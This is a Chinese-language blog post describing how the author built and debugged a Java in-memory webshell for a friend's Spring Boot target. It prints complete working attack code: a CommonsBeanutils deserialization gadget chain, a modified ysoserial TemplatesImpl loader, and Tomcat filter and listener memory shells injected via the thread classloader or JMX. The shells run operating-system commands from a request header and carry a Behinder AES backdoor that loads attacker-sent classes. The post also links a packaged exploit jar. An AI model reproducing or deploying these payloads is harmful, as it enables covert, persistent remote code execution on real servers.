朋友叫帮忙打一个内存马进去,用的是cb链,无cc依赖,我寻思这不是有手就行吗,谁知道接下来遇到了无数的坑。
这个是p牛讲过的了,不多说,直接贴代码
1public Object getObject(final String command) throws Exception {
2 final Object template = Gadgets.createTemplatesImpl(command);
3 final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
4
5 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
6 queue.add("1");
7 queue.add("1");
8
9 Reflections.setFieldValue(comparator, "property", "outputProperties");
10
11 final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
12 queueArray[0] = template;
13 queueArray[1] = template;
14
15 return queue;
16}
用String.CASE_INSENSITIVE_ORDER
替换掉cc的org.apache.commons.collections.comparators.ComparableComparator
。
然后是内存马的地方,修改了ysoserial.payloads.util.Gadgets
的createTemplatesImpl来加载自定义的class文件。
1public static Object createTemplatesImpl(String command) throws Exception {
2 command = command.trim();
3 Class tplClass;
4 Class abstTranslet;
5 Class transFactory;
6
7 if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
8 tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
9 abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
10 transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
11 } else {
12 tplClass = TemplatesImpl.class;
13 abstTranslet = AbstractTranslet.class;
14 transFactory = TransformerFactoryImpl.class;
15 }
16
17 if (command.startsWith("CLASS:")) {
18 // 这里不能让它初始化,不然从线程中获取WebappClassLoaderBase时会强制类型转换异常。
19 Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Gadgets.class.getClassLoader());
20 return createTemplatesImpl(clazz, null, null, tplClass, abstTranslet, transFactory);
21 } else if (command.startsWith("FILE:")) {
22 byte[] bs = Files.readBytes(new File(command.substring(5)));
23 return createTemplatesImpl(null, null, bs, tplClass, abstTranslet, transFactory);
24 } else {
25 if (command.startsWith("CMD:")) command = command.substring(4);
26 return createTemplatesImpl(null, command, null, tplClass, abstTranslet, transFactory);
27 }
28}
29
30
31public static <T> T createTemplatesImpl(Class myClass, final String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
32 final T templates = tplClass.newInstance();
33 byte[] classBytes = new byte[0];
34 ClassPool pool = ClassPool.getDefault();
35 pool.insertClassPath(new ClassClassPath(abstTranslet));
36 CtClass superC = pool.get(abstTranslet.getName());
37 CtClass ctClass;
38 if (command != null) {
39 ctClass = pool.get("ysoserial.payloads.templates.CommandTemplate");
40 ctClass.setName(ctClass.getName() + System.nanoTime());
41 String cmd = "cmd = \"" + command + "\";";
42 ctClass.makeClassInitializer().insertBefore(cmd);
43 ctClass.setSuperclass(superC);
44 classBytes = ctClass.toBytecode();
45 }
46 if (myClass != null) {
47 // CLASS:
48 if (myClass.getName().contains("SpringInterceptorMemShell")) {
49 // memShellClazz
50 ctClass = pool.get(myClass.getName());
51 // 修改b64字节码
52 CtClass springTemplateClass = pool.get("ysoserial.payloads.templates.SpringInterceptorTemplate");
53 String clazzName = "ysoserial.payloads.templates.SpringInterceptorTemplate" + System.nanoTime();
54 springTemplateClass.setName(clazzName);
55 String encode = Base64.encodeBase64String(springTemplateClass.toBytecode());
56 String b64content = "b64=\"" + encode + "\";";
57 ctClass.makeClassInitializer().insertBefore(b64content);
58 // 修改SpringInterceptorMemShell随机命名 防止二次打不进去
59 String clazzNameContent = "clazzName=\"" + clazzName + "\";";
60 ctClass.makeClassInitializer().insertBefore(clazzNameContent);
61 ctClass.setName(SpringInterceptorMemShell.class.getName() + System.nanoTime());
62 ctClass.setSuperclass(superC);
63 classBytes = ctClass.toBytecode();
64 } else {
65 classBytes = ClassFiles.classAsBytes(myClass);
66 }
67 }
68 if (bytes != null) {
69 // FILE:
70 ctClass = pool.get("ysoserial.payloads.templates.ClassLoaderTemplate");
71 ctClass.setName(ctClass.getName() + System.nanoTime());
72 StringBuffer sb = new StringBuffer();
73 for (int i = 0; i < bytes.length; i++) {
74 sb.append(bytes[i]);
75 if (i != bytes.length - 1) sb.append(",");
76 }
77 String content = "bs = new byte[]{" + sb + "};";
78 // System.out.println(content);
79 ctClass.makeClassInitializer().insertBefore(content);
80 ctClass.setSuperclass(superC);
81 classBytes = ctClass.toBytecode();
82 }
83
84
85 // inject class bytes into instance
86 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
87
88 // required to make TemplatesImpl happy
89 Reflections.setFieldValue(templates, "_name", "Pwnr");
90 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
91 return templates;
92}
接下来就是static写注册servlet、filter的代码了。写一个servlet/filter继承AbstractTranslet并且实现对应接口和方法。目标是springboot的,我寻思写个tomcat filter就能整。
1public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
2 static {
3 try {
4 final String name = "MyFilterVersion" + System.nanoTime();
5 final String URLPattern = "/*";
6
7 WebappClassLoaderBase webappClassLoaderBase =
8 (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
9 StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
10
11 Class<? extends StandardContext> aClass = null;
12 try {
13 aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
14 aClass.getDeclaredField("filterConfigs");
15 } catch (Exception e) {
16 aClass = (Class<? extends StandardContext>) standardContext.getClass();
17 aClass.getDeclaredField("filterConfigs");
18 }
19 Field Configs = aClass.getDeclaredField("filterConfigs");
20 Configs.setAccessible(true);
21 Map filterConfigs = (Map) Configs.get(standardContext);
22
23 TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();
24
25 FilterDef filterDef = new FilterDef();
26 filterDef.setFilter(behinderFilter);
27 filterDef.setFilterName(name);
28 filterDef.setFilterClass(behinderFilter.getClass().getName());
29 /**
30 * 将filterDef添加到filterDefs中
31 */
32 standardContext.addFilterDef(filterDef);
33
34 FilterMap filterMap = new FilterMap();
35 filterMap.addURLPattern(URLPattern);
36 filterMap.setFilterName(name);
37 filterMap.setDispatcher(DispatcherType.REQUEST.name());
38
39 standardContext.addFilterMapBefore(filterMap);
40
41 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
42 constructor.setAccessible(true);
43 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
44
45 filterConfigs.put(name, filterConfig);
46 } catch (Exception e) {
47// e.printStackTrace();
48 }
49 }
50...
51 @Override
52 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
53 HttpServletRequest request = (HttpServletRequest) servletRequest;
54 HttpServletResponse response = (HttpServletResponse) servletResponse;
55 if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
56 response.getWriter().println("error");
57 return;
58 }
59 filterChain.doFilter(servletRequest, servletResponse);
60 }
61}
按理说这样绝对没问题,事实证明确实没问题,访问内存马输出了error。接下来向里写冰蝎的马,这也是第一个坑。我的内存马如下
1@Override
2public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
3 try {
4 HttpServletRequest request = (HttpServletRequest) req;
5 HttpServletResponse response = (HttpServletResponse) resp;
6 HttpSession session = request.getSession();
7
8 //create pageContext
9 HashMap pageContext = new HashMap();
10 pageContext.put("request", request);
11 pageContext.put("response", response);
12 pageContext.put("session", session);
13
14 if (request.getMethod().equals("GET")) {
15 String cmd = request.getHeader("cmd");
16 if (cmd != null && !cmd.isEmpty()) {
17 String[] cmds = null;
18 if (File.separator.equals("/")) {
19 cmds = new String[]{"/bin/sh", "-c", cmd};
20 } else {
21 cmds = new String[]{"cmd", "/c", cmd};
22 }
23 String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
24 response.getWriter().println(result);
25 }
26 } else if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
27 if (request.getMethod().equals("POST")) {
28 String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
29 session.putValue("u", k);
30 Cipher c = Cipher.getInstance("AES");
31 c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
32
33 //revision BehinderFilter
34 Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
35 method.setAccessible(true);
36 byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
37 Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
38 evilclass.newInstance().equals(pageContext);
39 }
40 }
41 } catch (Exception e) {
42// e.printStackTrace();
43 }
44}
问题来了,cmdshell可以输出响应结果,而连接冰蝎总是报request.getReader().readLine()
空指针。这是我踩得第一个坑。
目标环境是springboot2.0.9,内嵌tomcat。思来想去不应该request.getReader().readLine()
空指针啊,然后一步一步在调,发现service中获取的参数是经过了包装的类。我这里用springboot模拟一个包装类。在MyFilter中
1public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
2 ContentCachingResponseWrapper responseWrapper = new ContentCachingResponseWrapper((HttpServletResponse) response);
3 ContentCachingRequestWrapper requestWrapper = new ContentCachingRequestWrapper((HttpServletRequest) request);
4 chain.doFilter(requestWrapper, responseWrapper);
5 responseWrapper.copyBodyToResponse();
6}
向下传递的是经过ContentCaching包装的request和response。然后再另一个filter中,尝试request.getReader().readLine()
确实报了空指针,导致冰蝎连不上。
然后我寻思我反射从从coyoteRequest中拼接body参数传递给冰蝎aes解密的decodeBufferc.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload))
拼接完之后payload能正常获取了,也能正常解密了,然后evilclass.newInstance().equals(pageContext)
的equals又出错了。
报了一个没有setCharacterEncoding方法。看了一下冰蝎的源码,发现net.rebeyond.behinder.payload.java.Echo#fillContext
会进行反射调用setCharacterEncoding,但是ContentCachingResponseWrapper没有这个函数
除了这个地方,我又发现org.springframework.web.util.ContentCachingResponseWrapper.ResponseServletOutputStream#ResponseServletOutputStream的write
函数重载没有只传入一个byte[]参数的
所以这个地方也会报错,导致冰蝎第一个请求包响应内容为空,进而导致连不上。
发现问题就解决问题。想过改冰蝎的class,但是工程量有点大,想了想还是改改内存马,不是包装类吗,我就拆了你的包装。
1Object lastRequest = request;
2Object lastResponse = response;
3// 解决包装类RequestWrapper的问题
4// 详细描述见 https://github.com/rebeyond/Behinder/issues/187
5if (!(lastRequest instanceof RequestFacade)) {
6 Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
7 lastRequest = getRequest.invoke(request);
8 while (true) {
9 if (lastRequest instanceof RequestFacade) break;
10 lastRequest = getRequest.invoke(lastRequest);
11 }
12}
13// 解决包装类ResponseWrapper的问题
14if (!(lastResponse instanceof ResponseFacade)) {
15 Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
16 lastResponse = getResponse.invoke(response);
17 while (true) {
18 if (lastResponse instanceof ResponseFacade) break;
19 lastResponse = getResponse.invoke(lastResponse);
20 }
21}
22HttpSession session = ((RequestFacade) lastRequest).getSession();
23pageContext.put("request", lastRequest);
24pageContext.put("response", lastResponse);
25pageContext.put("session", session);
给冰蝎传的都是拆了包装的,这样解决了冰蝎class的问题,但是还有request.getReader().readLine()
为空的问题。我是这么解决的,贴代码
1String payload = request.getReader().readLine();
2if (payload == null || payload.isEmpty()) {
3 payload = "";
4 // 拿到真实的Request对象而非门面模式的RequestFacade
5 Field field = lastRequest.getClass().getDeclaredField("request");
6 field.setAccessible(true);
7 Request realRequest = (Request) field.get(lastRequest);
8 // 从coyoteRequest中拼接body参数
9 Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
10 coyoteRequestField.setAccessible(true);
11 org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
12 Parameters parameters = coyoteRequest.getParameters();
13 Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
14 paramHashValues.setAccessible(true);
15 LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);
16
17 Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
18 while (iterator.hasNext()) {
19 Map.Entry<String, ArrayList<String>> next = iterator.next();
20 String paramKey = next.getKey().replaceAll(" ", "+");
21 ArrayList<String> paramValueList = next.getValue();
22 String paramValue = paramValueList.get(0);
23 if (paramValueList.size() == 0) {
24 payload = payload + paramKey;
25 } else {
26 payload = payload + paramKey + "=" + paramValue;
27 }
28 }
29}
30
31System.out.println(payload);
需要注意这里判断payload是否为空,是因为在springboot2.6.3测试时request.getReader().readLine()
可以获取到payload而采取拼接的话为空,而2.0.9.RELEASE只能采用拼接参数的形式。
到此解决了冰蝎连接的问题,但是实战中并不是这么思路明确的,踩坑过程
此时扭过头来看jmx注册servlet、filter,我在本地的tomcat发现可以成功,但是拿到springboot不行。先贴tomcat成功,springboot失败的代码
1static {
2 try {
3 String filterName = "MyFilterVersion" + System.nanoTime();
4 String urlPattern = "/*";
5
6 MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
7 Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
8 field.setAccessible(true);
9 Object obj = field.get(mbeanServer);
10
11 field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
12 field.setAccessible(true);
13 Repository repository = (Repository) field.get(obj);
14
15 Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
16
17 for (NamedObject namedObject : objectSet) {
18 DynamicMBean dynamicMBean = namedObject.getObject();
19 field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
20 field.setAccessible(true);
21 obj = field.get(dynamicMBean);
22
23 field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
24 field.setAccessible(true);
25 StandardContext standardContext = (StandardContext) field.get(obj);
26
27 field = standardContext.getClass().getDeclaredField("filterConfigs");
28 field.setAccessible(true);
29 HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);
30
31 if (map.get(filterName) == null) {
32 //生成 FilterDef
33 //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
34 Class filterDefClass = null;
35 try {
36 filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
37 } catch (ClassNotFoundException e) {
38 filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
39 }
40
41 Object filterDef = filterDefClass.newInstance();
42 filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, filterName);
43 Filter filter = new TomcatFilterMemShellFromJMX();
44
45 filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
46 filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);
47 standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef);
48
49 //设置 FilterMap
50 //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
51 Class filterMapClass = null;
52 try {
53 filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
54 } catch (ClassNotFoundException e) {
55 filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
56 }
57
58 Object filterMap = filterMapClass.newInstance();
59 filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, filterName);
60 filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name());
61 filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, urlPattern);
62 //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了
63 standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap);
64
65 //设置 FilterConfig
66 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
67 constructor.setAccessible(true);
68 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
69 map.put(filterName, filterConfig);
70 }
71 }
72 } catch (Exception e) {
73// e.printStackTrace();
74 }
75}
在springboot动态调试之后发现Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null)
为空集,于是在springboot中寻找jmx对象,发现名字改为了Tomcat而非Catalina,于是加一个if判断就解决了
1if (objectSet.size() == 0) {
2 // springboot的jmx中为Tomcat而非Catalina
3 objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
4}
Listener内存马不存在包装类问题,可以直接写,感觉还是这个比较稳。
1package ysoserial.payloads.templates;
2
3import com.sun.jmx.mbeanserver.NamedObject;
4import com.sun.jmx.mbeanserver.Repository;
5import com.sun.org.apache.xalan.internal.xsltc.DOM;
6import com.sun.org.apache.xalan.internal.xsltc.TransletException;
7import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
8import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
9import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
10import org.apache.catalina.connector.Request;
11import org.apache.catalina.connector.RequestFacade;
12import org.apache.catalina.connector.Response;
13import org.apache.catalina.core.StandardContext;
14import org.apache.tomcat.util.modeler.Registry;
15
16import javax.crypto.Cipher;
17import javax.crypto.spec.SecretKeySpec;
18import javax.management.DynamicMBean;
19import javax.management.MBeanServer;
20import javax.management.ObjectName;
21import javax.servlet.ServletRequestEvent;
22import javax.servlet.ServletRequestListener;
23import javax.servlet.http.HttpSession;
24import java.lang.reflect.Field;
25import java.lang.reflect.Method;
26import java.util.HashMap;
27import java.util.Scanner;
28import java.util.Set;
29
30public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
31 static {
32 try {
33 MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
34 Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
35 field.setAccessible(true);
36 Object obj = field.get(mbeanServer);
37
38 field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
39 field.setAccessible(true);
40 Repository repository = (Repository) field.get(obj);
41
42 Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
43 if (objectSet.size() == 0) {
44 // springboot的jmx中为Tomcat而非Catalina
45 objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
46 }
47
48 for (NamedObject namedObject : objectSet) {
49 DynamicMBean dynamicMBean = namedObject.getObject();
50 field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
51 field.setAccessible(true);
52 obj = field.get(dynamicMBean);
53
54 field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
55 field.setAccessible(true);
56 StandardContext standardContext = (StandardContext) field.get(obj);
57
58 TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
59 standardContext.addApplicationEventListener(listener);
60 }
61 } catch (Exception e) {
62// e.printStackTrace();
63 }
64 }
65
66 @Override
67 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
68
69 }
70
71 @Override
72 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
73
74 }
75
76 @Override
77 public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
78
79 }
80
81 @Override
82 public void requestInitialized(ServletRequestEvent servletRequestEvent) {
83// Listener马没有包装类问题
84 try {
85 RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
86 Field f = requestFacade.getClass().getDeclaredField("request");
87 f.setAccessible(true);
88 Request request = (Request) f.get(requestFacade);
89 Response response = request.getResponse();
90 // 入口
91 if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
92 // cmdshell
93 if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
94 String cmd = request.getHeader("cmd");
95 if (cmd != null && !cmd.isEmpty()) {
96 String[] cmds = null;
97 if (System.getProperty("os.name").toLowerCase().contains("win")) {
98 cmds = new String[]{"cmd", "/c", cmd};
99 } else {
100 cmds = new String[]{"/bin/bash", "-c", cmd};
101 }
102 String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
103 response.resetBuffer();
104 response.getWriter().println(result);
105 response.flushBuffer();
106 response.finishResponse();
107 }
108 } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
109 if (request.getMethod().equals("POST")) {
110 // 创建pageContext
111 HashMap pageContext = new HashMap();
112
113 // lastRequest的session是没有被包装的session!!
114 HttpSession session = request.getSession();
115 pageContext.put("request", request);
116 pageContext.put("response", response);
117 pageContext.put("session", session);
118 // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
119 String payload = request.getReader().readLine();
120
121// System.out.println(payload);
122 // 冰蝎逻辑
123 String k = "e45e329feb5d925b"; // rebeyond
124 session.putValue("u", k);
125 Cipher c = Cipher.getInstance("AES");
126 c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
127 Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
128 method.setAccessible(true);
129 byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
130 Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
131 evilclass.newInstance().equals(pageContext);
132 }
133 } else {
134 response.resetBuffer();
135 response.getWriter().println("error");
136 response.flushBuffer();
137 response.finishResponse();
138 }
139 }
140 } catch (Exception e) {
141// e.printStackTrace();
142 }
143 }
144}
解决了springboot包装类和从jmx中拿到StandardContext的问题,写了servlet、filter、listener、Spring Interceptor内存马发现Listener内存马兼容性更强,
因为这一个内存马,我和朋友 @汤姆 连着一星期3点睡觉7点起,感觉阎王快夸我好身体了……
打包好的jar包在 https://ysoserial.y4er.com/ysoserial-0.0.6-SNAPSHOT-all.jar 下载
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。